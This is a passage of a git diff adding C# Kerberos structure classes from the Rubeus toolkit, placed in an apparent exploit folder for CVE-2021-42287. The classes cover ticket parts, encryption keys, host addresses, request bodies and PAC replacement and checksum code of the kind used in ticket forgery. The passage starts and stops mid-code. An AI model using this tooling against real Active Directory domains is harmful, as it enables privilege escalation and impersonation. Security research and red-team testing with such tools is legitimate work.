Encoding.ASCII.GetBytes(host_name); + AsnElt hostAddressAddressAsn = AsnElt.MakeBlob(hostAddressAddressBytes); + AsnElt hostAddressAddressSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { hostAddressAddressAsn }); + hostAddressAddressSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, hostAddressAddressSeq); + + AsnElt hostAddressSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { hostAddressTypeSeq, hostAddressAddressSeq }); + AsnElt hostAddressSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { hostAddressSeq }); + hostAddressSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, hostAddressSeq2); + + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { new_passwordSeq , seq_numberSeq, hostAddressSeq2 }); + AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq }); + + seq2 = AsnElt.MakeImplicit(AsnElt.APPLICATION, 28, seq2); + + return seq2; + } + + public string new_password { get; set; } + + public UInt32 seq_number { get; set; } + + public string host_name { get; set; } + + public string username { get; set; } + + public string realm { get; set; } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/EncTicketPart.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/EncTicketPart.cs new file mode 100644 index 0000000..bde87d3 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/EncTicketPart.cs @@ -0,0 +1,500 @@ +using System; +using Asn1; +using System.Text; +using System.Collections.Generic; +using System.IO; +using Rubeus.Kerberos; +using Rubeus.Kerberos.PAC; + +namespace Rubeus +{ + public class EncTicketPart + { + //EncTicketPart::= [APPLICATION 3] SEQUENCE { + // flags[0] TicketFlags, + // key[1] EncryptionKey, + // crealm[2] Realm, + // cname[3] PrincipalName, + // transited[4] TransitedEncoding, + // authtime[5] KerberosTime, + // starttime[6] KerberosTime OPTIONAL, + // endtime[7] KerberosTime, + // renew-till[8] KerberosTime OPTIONAL, + // caddr[9] HostAddresses OPTIONAL, + // authorization-data[10] AuthorizationData OPTIONAL + //} + + public EncTicketPart(byte[] sessionKey, Interop.KERB_ETYPE etype, string domain, string user, Interop.TicketFlags ticketFlags, DateTime startTime) + { + // flags + flags = ticketFlags; + + // default times + authtime = startTime; + starttime = startTime; + endtime = starttime.AddHours(10); + renew_till = starttime.AddDays(7); + + // set session key + key = new EncryptionKey(); + key.keytype = (int)etype; + key.keyvalue = sessionKey; + + // cname information + crealm = domain; + cname = new PrincipalName(user); + + // default empty TransitedEncoding + transited = new TransitedEncoding(); + + // null caddr and authdata + caddr = null; + authorization_data = null; + + } + public EncTicketPart(AsnElt body, byte[] asrepKey = null, bool noAdData = false) + { + foreach (AsnElt s in body.Sub) + { + switch (s.TagValue) + { + case 0: + UInt32 temp = Convert.ToUInt32(s.Sub[0].GetInteger()); + byte[] tempBytes = BitConverter.GetBytes(temp); + flags = (Interop.TicketFlags)BitConverter.ToInt32(tempBytes, 0); + break; + case 1: + key = new EncryptionKey(s); + break; + case 2: + crealm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString()); + break; + case 3: + cname = new PrincipalName(s.Sub[0]); + break; + case 4: + transited = new TransitedEncoding(s.Sub[0]); + break; + case 5: + authtime = s.Sub[0].GetTime(); + break; + case 6: + starttime = s.Sub[0].GetTime(); + break; + case 7: + endtime = s.Sub[0].GetTime(); + break; + case 8: + renew_till = s.Sub[0].GetTime(); + break; + case 9: + // caddr (optional) + caddr = new List(); + caddr.Add(new HostAddress(s.Sub[0])); + break; + case 10: + // authorization-data (optional) + authorization_data = new List(); + if (noAdData) + { + authorization_data.Add(new ADIfRelevant(s.Sub[0].Sub[0].Sub[1].Sub[0].CopyValue())); + } + else + { + foreach (AsnElt tmp in s.Sub[0].Sub) + { + authorization_data.Add(new ADIfRelevant(tmp, asrepKey)); + } + } + break; + default: + break; + } + } + } + + public AsnElt Encode() + { + List allNodes = new List(); + + // flags [0] TicketFlags + byte[] flagBytes = BitConverter.GetBytes((UInt32)flags); + if (BitConverter.IsLittleEndian) + { + Array.Reverse(flagBytes); + } + AsnElt flagBytesAsn = AsnElt.MakeBitString(flagBytes); + AsnElt flagBytesSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { flagBytesAsn }); + flagBytesSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, flagBytesSeq); + allNodes.Add(flagBytesSeq); + + // key [1] EncryptionKey + AsnElt keyAsn = key.Encode(); + keyAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, keyAsn); + allNodes.Add(keyAsn); + + // crealm [2] Realm + // -- clients realm + AsnElt realmAsn = AsnElt.MakeString(AsnElt.IA5String, crealm); + realmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, realmAsn); + AsnElt realmSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { realmAsn }); + realmSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, realmSeq); + allNodes.Add(realmSeq); + + // cname [3] PrincipalName + if (cname != null) + { + AsnElt cnameElt = cname.Encode(); + cnameElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, cnameElt); + allNodes.Add(cnameElt); + } + + // transited [4] TransitedEncoding + AsnElt transitedElt = transited.Encode(); + transitedElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, transitedElt); + allNodes.Add(transitedElt); + + // authtime [5] KerberosTime + AsnElt authTimeAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, authtime.ToString("yyyyMMddHHmmssZ")); + AsnElt authTimeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { authTimeAsn }); + authTimeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 5, authTimeSeq); + allNodes.Add(authTimeSeq); + + // starttime [6] KerberosTime OPTIONAL + if (starttime != null) + { + AsnElt startTimeAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, starttime.ToString("yyyyMMddHHmmssZ")); + AsnElt startTimeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { startTimeAsn }); + startTimeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 6, startTimeSeq); + allNodes.Add(startTimeSeq); + } + + // endtime [7] KerberosTime + AsnElt endTimeAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, endtime.ToString("yyyyMMddHHmmssZ")); + AsnElt endTimeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { endTimeAsn }); + endTimeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 7, endTimeSeq); + allNodes.Add(endTimeSeq); + + // renew-till [8] KerberosTime OPTIONAL + if (renew_till != null) + { + AsnElt renewTimeAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, renew_till.ToString("yyyyMMddHHmmssZ")); + AsnElt renewTimeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { renewTimeAsn }); + renewTimeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 8, renewTimeSeq); + allNodes.Add(renewTimeSeq); + } + + // caddr [9] HostAddresses OPTIONAL + if (caddr != null) + { + List addrList = new List(); + foreach (HostAddress addr in caddr) + { + AsnElt addrElt = addr.Encode(); + addrList.Add(addrElt); + } + AsnElt addrSeqTotal1 = AsnElt.Make(AsnElt.SEQUENCE, addrList.ToArray()); + AsnElt addrSeqTotal2 = AsnElt.Make(AsnElt.SEQUENCE, addrSeqTotal1); + addrSeqTotal2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 9, addrSeqTotal2); + allNodes.Add(addrSeqTotal2); + } + + // authorization-data [10] AuthorizationData OPTIONAL + if (authorization_data != null) + { + List adList = new List(); + + foreach (AuthorizationData ad in authorization_data) + { + AsnElt addrElt = ad.Encode(); + adList.Add(addrElt); + } + AsnElt authDataSeq = AsnElt.Make(AsnElt.SEQUENCE, adList.ToArray()); + AsnElt addrSeqTotal1 = AsnElt.Make(AsnElt.SEQUENCE, authDataSeq); + authDataSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 10, addrSeqTotal1); + allNodes.Add(authDataSeq); + + } + + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, allNodes.ToArray()); + AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq }); + seq2 = AsnElt.MakeImplicit(AsnElt.APPLICATION, 3, seq2); + + return seq2; + } + + public PACTYPE GetPac(byte[] asrepKey) + { + if (authorization_data != null) + { + foreach (var addata in authorization_data) + { + foreach (var ifrelevant in ((ADIfRelevant)addata).ADData) + { + if (ifrelevant is ADWin2KPac win2k_pac) + { + return win2k_pac.Pac; + } + } + } + } + return null; + } + + public void SetPac(PACTYPE pac) { + if (authorization_data == null) + { + authorization_data = new List(); + } + List oldAuthData = new List(); + foreach (var authdata in authorization_data) + { + ADIfRelevant tmpifrelevant = new ADIfRelevant(); + foreach (var adData in ((ADIfRelevant)authdata).ADData) + { + if (!(adData is ADWin2KPac win2k_pac)) + { + tmpifrelevant.ADData.Add(adData); + } + } + if (tmpifrelevant.ADData.Count > 0) + { + oldAuthData.Add(tmpifrelevant); + } + } + authorization_data = new List(); + ADIfRelevant ifrelevant = new ADIfRelevant(); + ifrelevant.ADData.Add(new ADWin2KPac(pac)); + authorization_data.Add(ifrelevant); + foreach (var authdata in oldAuthData) + { + authorization_data.Add(authdata); + } + } + + public Tuple ValidatePac(byte[] serviceKey, byte[] krbKey = null) + { + byte[] pacBytes = null; + if (authorization_data != null) + { + foreach (var addata in authorization_data) + { + foreach (var ifrelevant in ((ADIfRelevant)addata).ADData) + { + if (ifrelevant is ADWin2KPac win2k_pac) + { + pacBytes = win2k_pac.ad_data; + } + } + } + } + if (pacBytes == null) + { + return null; + } + BinaryReader br = new BinaryReader(new MemoryStream(pacBytes)); + int cBuffers = br.ReadInt32(); + int Version = br.ReadInt32(); + long offset = 0, svrOffset = 0, kdcOffset = 0; + Interop.KERB_CHECKSUM_ALGORITHM svrSigType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256; + Interop.KERB_CHECKSUM_ALGORITHM kdcSigType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256; + int svrLength = 12, kdcLength = 12; + byte[] oldSvrSig = null, oldKdcSig = null; + + for (int idx = 0; idx < cBuffers; ++idx) + { + + var type = (PacInfoBufferType)br.ReadInt32(); + var bufferSize = br.ReadInt32(); + offset = br.ReadInt64(); + + long oldPostion = br.BaseStream.Position; + br.BaseStream.Position = offset; + var pacData = br.ReadBytes(bufferSize); + br.BaseStream.Position = oldPostion; + BinaryReader brPacData = new BinaryReader(new MemoryStream(pacData)); + + switch (type) + { + case PacInfoBufferType.KDCChecksum: + kdcOffset = offset + 4; + kdcSigType = (Interop.KERB_CHECKSUM_ALGORITHM)brPacData.ReadInt32(); + if (kdcSigType == Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5) + { + kdcLength = 16; + } + oldKdcSig = brPacData.ReadBytes(kdcLength); + break; + case PacInfoBufferType.ServerChecksum: + svrOffset = offset + 4; + svrSigType = (Interop.KERB_CHECKSUM_ALGORITHM)brPacData.ReadInt32(); + if (svrSigType == Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5) + { + svrLength = 16; + } + oldSvrSig = brPacData.ReadBytes(svrLength); + break; + + } + } + + byte[] svrZeros = new byte[svrLength], kdcZeros = new byte[kdcLength]; + Array.Clear(svrZeros, 0, svrLength); + Array.Clear(kdcZeros, 0, kdcLength); + Array.Copy(svrZeros, 0, pacBytes, svrOffset, svrLength); + Array.Copy(kdcZeros, 0, pacBytes, kdcOffset, kdcLength); + + byte[] svrSig = Crypto.KerberosChecksum(serviceKey, pacBytes, svrSigType); + + if (krbKey == null) + { + return Tuple.Create((Helpers.ByteArrayToString(oldSvrSig) == Helpers.ByteArrayToString(svrSig)), false, false); + } + + byte[] kdcSig = Crypto.KerberosChecksum(krbKey, oldSvrSig, kdcSigType); + return Tuple.Create((Helpers.ByteArrayToString(oldSvrSig) == Helpers.ByteArrayToString(svrSig)), (Helpers.ByteArrayToString(oldKdcSig) == Helpers.ByteArrayToString(kdcSig)), ValidateTicketChecksum(krbKey)); + } + + public byte[] CalculateTicketChecksum(byte[] krbKey, Interop.KERB_CHECKSUM_ALGORITHM krbChecksumType) + { + byte[] ticketChecksum = null; + byte[] oldWin2kPacData = null; + PACTYPE oldWin2kPac = null; + EncTicketPart tmpEncTicketPart = this; + + // find the PAC and place a zero in it's ad-data + List newAuthData = new List(); + foreach (var tmpadData in tmpEncTicketPart.authorization_data) + { + ADIfRelevant tmpifrelevant = new ADIfRelevant(); + foreach (var ifrelevant in ((ADIfRelevant)tmpadData).ADData) + { + if (ifrelevant is ADWin2KPac win2k_pac) + { + oldWin2kPacData = win2k_pac.ad_data; + oldWin2kPac = win2k_pac.Pac; + ADWin2KPac tmpWin2k = new ADWin2KPac(); + tmpWin2k.ad_data = new byte[] { 0x00 }; + tmpWin2k.Pac = null; + tmpifrelevant.ADData.Add(tmpWin2k); + } + else + { + tmpifrelevant.ADData.Add(ifrelevant); + } + } + newAuthData.Add(tmpifrelevant); + } + tmpEncTicketPart.authorization_data = newAuthData; + + ticketChecksum = Crypto.KerberosChecksum(krbKey, tmpEncTicketPart.Encode().Encode(), krbChecksumType); + + foreach (var tmpadData in tmpEncTicketPart.authorization_data) + { + ADIfRelevant tmpifrelevant = new ADIfRelevant(); + foreach (var ifrelevant in ((ADIfRelevant)tmpadData).ADData) + { + if (ifrelevant is ADWin2KPac win2k_pac) + { + win2k_pac.ad_data = oldWin2kPacData; + win2k_pac.Pac = oldWin2kPac; + } + } + } + + return ticketChecksum; + } + + public bool ValidateTicketChecksum(byte[] krbKey) + { + SignatureData ticketSig = null; + + // find the PAC the old TicketChecksum + foreach (var tmpadData in authorization_data) + { + foreach (var ifrelevant in ((ADIfRelevant)tmpadData).ADData) + { + if (ifrelevant is ADWin2KPac win2k_pac) + { + foreach (var PacInfoBuffer in win2k_pac.Pac.PacInfoBuffers) + { + if (PacInfoBuffer.Type is PacInfoBufferType.TicketChecksum) + { + ticketSig = (SignatureData)PacInfoBuffer; + } + } + } + } + } + + if (ticketSig == null) + { + return false; + } + + byte[] calculatedSig = CalculateTicketChecksum(krbKey, ticketSig.SignatureType); + + return (Helpers.ByteArrayToString(calculatedSig) == Helpers.ByteArrayToString(ticketSig.Signature)); + } + + public bool TicketChecksumExists() + { + bool ret = false; + PACTYPE pt = null; + + // get the PAC + if (authorization_data != null) + { + foreach (var addata in authorization_data) + { + foreach (var ifrelevant in ((ADIfRelevant)addata).ADData) + { + if (ifrelevant is ADWin2KPac win2k_pac) + { + pt = win2k_pac.Pac; + } + } + } + } + + // If not PAC was retrieved return false + if (pt == null) + { + return ret; + } + + // look for the TicketChecksum + foreach (var pacInfoBuffer in pt.PacInfoBuffers) + { + if (pacInfoBuffer.Type is PacInfoBufferType.TicketChecksum) + { + ret = true; + } + } + + return ret; + } + + public Interop.TicketFlags flags { get; set; } + + public EncryptionKey key { get; set; } + + public string crealm { get; set; } + + public PrincipalName cname { get; set; } + + public TransitedEncoding transited { get; set; } + + public DateTime authtime { get; set; } + + public DateTime starttime { get; set; } + + public DateTime endtime { get; set; } + + public DateTime renew_till { get; set; } + + public List caddr { get; set; } + + public List authorization_data { get; set; } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/EncryptedData.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/EncryptedData.cs new file mode 100644 index 0000000..5ced38a --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/EncryptedData.cs @@ -0,0 +1,92 @@ +using System; +using Asn1; +using System.Text; +using System.Collections.Generic; + +namespace Rubeus +{ + public class EncryptedData + { + //EncryptedData::= SEQUENCE { + // etype[0] Int32 -- EncryptionType --, + // kvno[1] UInt32 OPTIONAL, + // cipher[2] OCTET STRING -- ciphertext + //} + + public EncryptedData() + { + + } + + public EncryptedData(Int32 encType, byte[] data) + { + etype = encType; + cipher = data; + } + + public EncryptedData(Int32 encType, byte[] data, UInt32 kvnum) + { + etype = encType; + kvno = kvnum; + cipher = data; + } + + public EncryptedData(AsnElt body) + { + foreach (AsnElt s in body.Sub) + { + switch (s.TagValue) + { + case 0: + etype = Convert.ToInt32(s.Sub[0].GetInteger()); + break; + case 1: + kvno = Convert.ToUInt32(s.Sub[0].GetInteger()); + break; + case 2: + cipher = s.Sub[0].GetOctetString(); + break; + default: + break; + } + } + } + + public AsnElt Encode() + { + // etype [0] Int32 -- EncryptionType --, + AsnElt etypeAsn = AsnElt.MakeInteger(etype); + AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeAsn }); + etypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, etypeSeq); + + + // cipher [2] OCTET STRING -- ciphertext + AsnElt cipherAsn = AsnElt.MakeBlob(cipher); + AsnElt cipherSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { cipherAsn }); + cipherSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, cipherSeq); + + + if (kvno != 0) + { + // kvno [1] UInt32 OPTIONAL + AsnElt kvnoAsn = AsnElt.MakeInteger(kvno); + AsnElt kvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { kvnoAsn }); + kvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, kvnoSeq); + + AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeSeq, kvnoSeq, cipherSeq }); + return totalSeq; + } + else + { + AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeSeq, cipherSeq }); + return totalSeq; + } + } + + public Int32 etype { get; set; } + + public UInt32 kvno { get; set; } + + public byte[] cipher { get; set; } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/EncryptionKey.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/EncryptionKey.cs new file mode 100644 index 0000000..334c47a --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/EncryptionKey.cs @@ -0,0 +1,68 @@ +using System; +using Asn1; +using System.Text; +using System.Collections.Generic; + +namespace Rubeus +{ + public class EncryptionKey + { + //EncryptionKey::= SEQUENCE { + // keytype[0] Int32 -- actually encryption type --, + // keyvalue[1] OCTET STRING + //} + + public EncryptionKey() + { + keytype = 0; + + keyvalue = null; + } + + public EncryptionKey(AsnElt body) + { + foreach (AsnElt s in body.Sub[0].Sub) + { + switch (s.TagValue) + { + case 0: + keytype = Convert.ToInt32(s.Sub[0].GetInteger()); + break; + case 1: + keyvalue = s.Sub[0].GetOctetString(); + break; + case 2: + keyvalue = s.Sub[0].GetOctetString(); + break; + default: + break; + } + } + } + + public AsnElt Encode() + { + // keytype[0] Int32 -- actually encryption type -- + AsnElt keyTypeElt = AsnElt.MakeInteger(keytype); + AsnElt keyTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { keyTypeElt }); + keyTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, keyTypeSeq); + + + // keyvalue[1] OCTET STRING + AsnElt blob = AsnElt.MakeBlob(keyvalue); + AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { blob }); + blobSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, blobSeq); + + + // build the final sequences (s) + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { keyTypeSeq, blobSeq }); + AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq }); + + return seq2; + } + + public Int32 keytype { get; set; } + + public byte[] keyvalue { get; set; } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/HostAddress.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/HostAddress.cs new file mode 100644 index 0000000..d030814 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/HostAddress.cs @@ -0,0 +1,89 @@ +using Asn1; +using System; +using System.Collections.Generic; +using System.Text; + +namespace Rubeus +{ + //Hostname::= SEQUENCE { + // name-type[0] Int32, + // name-string[1] SEQUENCE OF KerberosString + //} + + public class HostAddress + { + public HostAddress() + { + // nETBIOS = 20 + // netbios name of the requesting machine + + addr_type = Interop.HostAddressType.ADDRTYPE_NETBIOS; + + addr_string = string.Empty; + } + + public HostAddress(string hostName) + { + // create with hostname + addr_type = Interop.HostAddressType.ADDRTYPE_NETBIOS; + + // setup padding + Int32 numSpaces = 8 - (hostName.Length % 8); + hostName = hostName.PadRight(hostName.Length + numSpaces); + + addr_string = hostName.ToUpper(); + } + + public HostAddress(Interop.HostAddressType atype, string address) + { + // create with different type + addr_type = atype; + + // setup padding + Int32 numSpaces = 8 - (address.Length % 8); + address = address.PadRight(address.Length + numSpaces); + + addr_string = address.ToUpper(); + } + + public HostAddress(AsnElt body) + { + foreach (AsnElt s in body.Sub) + { + switch (s.TagValue) + { + case 0: + addr_type = (Interop.HostAddressType)s.Sub[0].GetInteger(); + break; + case 1: + addr_string = Encoding.ASCII.GetString(s.Sub[0].GetOctetString()); + break; + default: + break; + } + } + } + + public AsnElt Encode() + { + // addr-type[0] Int32 + // addr-string[1] OCTET STRING + AsnElt addrTypeElt = AsnElt.MakeInteger((long)addr_type); + AsnElt addrTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { addrTypeElt }); + addrTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, addrTypeSeq); + + AsnElt addrStringElt = AsnElt.MakeString(AsnElt.TeletexString, addr_string); + addrStringElt = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.OCTET_STRING, addrStringElt); + AsnElt addrStringSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { addrStringElt }); + addrStringSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, addrStringSeq); + + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { addrTypeSeq, addrStringSeq }); + + return seq; + } + + public Interop.HostAddressType addr_type { get; set; } + + public string addr_string { get; set; } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/KDC_REQ_BODY.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/KDC_REQ_BODY.cs new file mode 100644 index 0000000..57a3b46 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/KDC_REQ_BODY.cs @@ -0,0 +1,272 @@ +using System; +using Asn1; +using System.Text; +using System.Collections.Generic; + +namespace Rubeus +{ + public class KDCReqBody + { + //KDC-REQ-BODY::= SEQUENCE { + // kdc-options[0] KDCOptions, + // cname[1] PrincipalName OPTIONAL + // -- Used only in AS-REQ --, + // realm[2] Realm + // -- Server's realm + // -- Also client's in AS-REQ --, + // sname[3] PrincipalName OPTIONAL, + // from[4] KerberosTime OPTIONAL, + // till[5] KerberosTime, + // rtime[6] KerberosTime OPTIONAL, + // nonce[7] UInt32, + // etype[8] SEQUENCE OF Int32 -- EncryptionType + // -- in preference order --, + // addresses[9] HostAddresses OPTIONAL, + // enc-authorization-data[10] EncryptedData OPTIONAL + // -- AuthorizationData --, + // additional-tickets[11] SEQUENCE OF Ticket OPTIONAL + // -- NOTE: not empty + //} + + public KDCReqBody(bool c = true, bool r = false) + { + // defaults for creation + kdcOptions = Interop.KdcOptions.FORWARDABLE | Interop.KdcOptions.RENEWABLE | Interop.KdcOptions.RENEWABLEOK; + + // added ability to remove cname from request + // seems to be useful for cross domain stuff + // didn't see a cname in "real" S4U request traffic + if (c) + { + cname = new PrincipalName(); + } + + sname = new PrincipalName(); + + // date time from kekeo ;) HAI 2037! + till = DateTime.ParseExact("20370913024805Z", "yyyyMMddHHmmssZ", System.Globalization.CultureInfo.InvariantCulture); + + // add rtime for AS-REQs + if (r) + { + rtime = DateTime.ParseExact("20370913024805Z", "yyyyMMddHHmmssZ", System.Globalization.CultureInfo.InvariantCulture); + } + + var rand = new Random(); + nonce = (UInt32)rand.Next(1, Int32.MaxValue); + + additional_tickets = new List(); + + etypes = new List(); + } + + public KDCReqBody(AsnElt body) + { + foreach (AsnElt s in body.Sub) + { + switch (s.TagValue) + { + case 0: + UInt32 temp = Convert.ToUInt32(s.Sub[0].GetInteger()); + byte[] tempBytes = BitConverter.GetBytes(temp); + kdcOptions = (Interop.KdcOptions)BitConverter.ToInt32(tempBytes, 0); + break; + case 1: + // optional + cname = new PrincipalName(s.Sub[0]); + break; + case 2: + realm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString()); + break; + case 3: + // optional + sname = new PrincipalName(s.Sub[0]); + break; + case 4: + // optional + from = s.Sub[0].GetTime(); + break; + case 5: + till = s.Sub[0].GetTime(); + break; + case 6: + // optional + rtime = s.Sub[0].GetTime(); + break; + case 7: + nonce = Convert.ToUInt32(s.Sub[0].GetInteger()); + break; + case 8: + //etypes = new Enums.KERB_ETYPE[s.Sub[0].Sub.Length]; + etypes = new List(); + for (int i = 0; i < s.Sub[0].Sub.Length; i++) + { + //etypes[i] = (Enums.KERB_ETYPE)Convert.ToUInt32(s.Sub[0].Sub[i].GetInteger()); + etypes.Add((Interop.KERB_ETYPE)Convert.ToUInt32(s.Sub[0].Sub[i].GetInteger())); + } + break; + case 9: + // addresses (optional) + addresses = new List(); + addresses.Add(new HostAddress(s.Sub[0])); + break; + case 10: + // enc authorization-data (optional) + break; + case 11: + // additional-tickets (optional) + break; + default: + break; + } + } + } + + public AsnElt Encode() + { + // TODO: error-checking! + + List allNodes = new List(); + + // kdc-options [0] KDCOptions + byte[] kdcOptionsBytes = BitConverter.GetBytes((UInt32)kdcOptions); + if (BitConverter.IsLittleEndian) + { + Array.Reverse(kdcOptionsBytes); + } + AsnElt kdcOptionsAsn = AsnElt.MakeBitString(kdcOptionsBytes); + AsnElt kdcOptionsSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { kdcOptionsAsn }); + kdcOptionsSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, kdcOptionsSeq); + allNodes.Add(kdcOptionsSeq); + + + // cname [1] PrincipalName + if (cname != null) + { + AsnElt cnameElt = cname.Encode(); + cnameElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, cnameElt); + allNodes.Add(cnameElt); + } + + + // realm [2] Realm + // --Server's realm + // -- Also client's in AS-REQ -- + AsnElt realmAsn = AsnElt.MakeString(AsnElt.IA5String, realm); + realmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, realmAsn); + AsnElt realmSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { realmAsn }); + realmSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, realmSeq); + allNodes.Add(realmSeq); + + + // sname [3] PrincipalName OPTIONAL + AsnElt snameElt = sname.Encode(); + snameElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, snameElt); + allNodes.Add(snameElt); + + + // from [4] KerberosTime OPTIONAL + + + // till [5] KerberosTime + AsnElt tillAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, till.ToString("yyyyMMddHHmmssZ")); + AsnElt tillSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { tillAsn }); + tillSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 5, tillSeq); + allNodes.Add(tillSeq); + + + // rtime [6] KerberosTime + if (rtime.Year > 0001) + { + AsnElt rtimeAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, rtime.ToString("yyyyMMddHHmmssZ")); + AsnElt rtimeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { rtimeAsn }); + rtimeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 6, rtimeSeq); + allNodes.Add(rtimeSeq); + } + + // nonce [7] UInt32 + AsnElt nonceAsn = AsnElt.MakeInteger(nonce); + AsnElt nonceSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { nonceAsn }); + nonceSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 7, nonceSeq); + allNodes.Add(nonceSeq); + + + // etype [8] SEQUENCE OF Int32 -- EncryptionType -- in preference order -- + List etypeList = new List(); + foreach (Interop.KERB_ETYPE etype in etypes) + { + AsnElt etypeAsn = AsnElt.MakeInteger((Int32)etype); + //AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { etypeAsn }); + etypeList.Add(etypeAsn); + } + AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, etypeList.ToArray()); + AsnElt etypeSeqTotal1 = AsnElt.Make(AsnElt.SEQUENCE, etypeList.ToArray()); + AsnElt etypeSeqTotal2 = AsnElt.Make(AsnElt.SEQUENCE, etypeSeqTotal1); + etypeSeqTotal2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 8, etypeSeqTotal2); + allNodes.Add(etypeSeqTotal2); + + + // addresses [9] HostAddresses OPTIONAL + if (addresses != null) + { + List addrList = new List(); + foreach (HostAddress addr in addresses) + { + AsnElt addrElt = addr.Encode(); + addrList.Add(addrElt); + } + AsnElt 